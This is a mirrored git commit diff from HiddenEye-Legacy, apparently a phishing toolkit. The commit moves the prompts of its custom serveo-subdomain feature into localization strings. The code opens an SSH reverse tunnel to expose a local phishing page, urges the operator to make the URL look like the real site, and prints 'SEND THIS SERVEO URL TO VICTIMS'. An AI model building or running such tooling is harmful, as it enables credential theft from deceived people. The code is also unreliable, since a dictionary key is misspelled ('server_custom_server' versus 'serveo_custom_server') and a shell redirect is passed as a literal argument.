mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Integrated random and custom serveo into localization system
This commit is contained in:
parent
7f94f1f6f5
commit
e0030a0e8c
|
@ -150,31 +150,51 @@ def start_serveo(port):
|
||||||
|
|
||||||
def custom(port):
|
def custom(port):
|
||||||
|
|
||||||
print('''
|
#print('''
|
||||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
#{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
#|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
#| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{0}http://github.com/darksecdevelopers
|
#{0}http://github.com/darksecdevelopers
|
||||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2]))
|
#{0}** BY:DARKSEC ** \n\n-------------------------------
|
||||||
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(default_palette[0], default_palette[2]))
|
|
||||||
|
# \n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n
|
||||||
|
|
||||||
|
# \n
|
||||||
|
# \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2]))
|
||||||
|
simple_informant.global_message()
|
||||||
|
print(localization.lang_start_serveo["serveo_custom_server"])
|
||||||
|
print(localization.lang_start_serveo["make_url_simmilar_to_real_suggestion"])
|
||||||
|
print(localization.lang_start_serveo["insert_custom_subdomain"])
|
||||||
|
|
||||||
|
lnk = input(global_localization.input_line)
|
||||||
if not ".serveo.net" in lnk:
|
if not ".serveo.net" in lnk:
|
||||||
lnk += ".serveo.net"
|
lnk += ".serveo.net"
|
||||||
else:
|
else:
|
||||||
pass
|
pass
|
||||||
run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -R %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk, port))
|
#run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -R %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk, port))
|
||||||
|
run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60', '-R','{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
|
||||||
wait(7)
|
wait(7)
|
||||||
try:
|
try:
|
||||||
output = check_output(
|
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
|
||||||
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
|
|
||||||
url = output.decode("utf-8")
|
url = output.decode("utf-8")
|
||||||
run_command('clear')
|
run_command('clear')
|
||||||
print('''
|
#print('''
|
||||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
#{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
#|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
#| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{0}http://github.com/darksecdevelopers
|
#{0}http://github.com/darksecdevelopers
|
||||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
|
#{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}
|
||||||
print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
# \n-------------------------------'''.format(default_palette[0], default_palette[2]))
|
||||||
|
simple_informant.global_message()
|
||||||
|
print(localization.lang_start_serveo["serveo_custom_server"])
|
||||||
|
|
||||||
|
#print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-
|
||||||
|
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
||||||
|
# \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||||
|
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||||
|
print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port)
|
||||||
|
print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4])
|
||||||
|
|
||||||
print("\n")
|
print("\n")
|
||||||
|
|
||||||
except CalledProcessError:
|
except CalledProcessError:
|
||||||
|
|
|
@ -27,7 +27,10 @@ lang_start_ngrok = {
|
||||||
|
|
||||||
lang_start_serveo = {
|
lang_start_serveo = {
|
||||||
"serveo_random_server" : _('\n{0}[ RANDOM SERVEO URL ]{1}!! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
"serveo_random_server" : _('\n{0}[ RANDOM SERVEO URL ]{1}!! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||||
|
"server_custom_server" : _('\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
|
||||||
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS').format(default_palette[0], default_palette[4]),
|
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS').format(default_palette[0], default_palette[4]),
|
||||||
|
"make_url_simmilar_to_real_suggestion" : _('\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.').format(default_palette[0], default_palette[4]),
|
||||||
|
"insert_custom_subdomain" : _('\n{0}Insert a custom subdomain for serveo').format(default_palette[0], default_palette[2]),
|
||||||
"serveo_url" : _('\n{0}[{1}*{0}]{1} SERVEO URL: {2}').format(default_palette[0], default_palette[4], default_palette[3])
|
"serveo_url" : _('\n{0}[{1}*{0}]{1} SERVEO URL: {2}').format(default_palette[0], default_palette[4], default_palette[3])
|
||||||
|
|
||||||
}
|
}
|
Loading…
Reference in New Issue
Block a user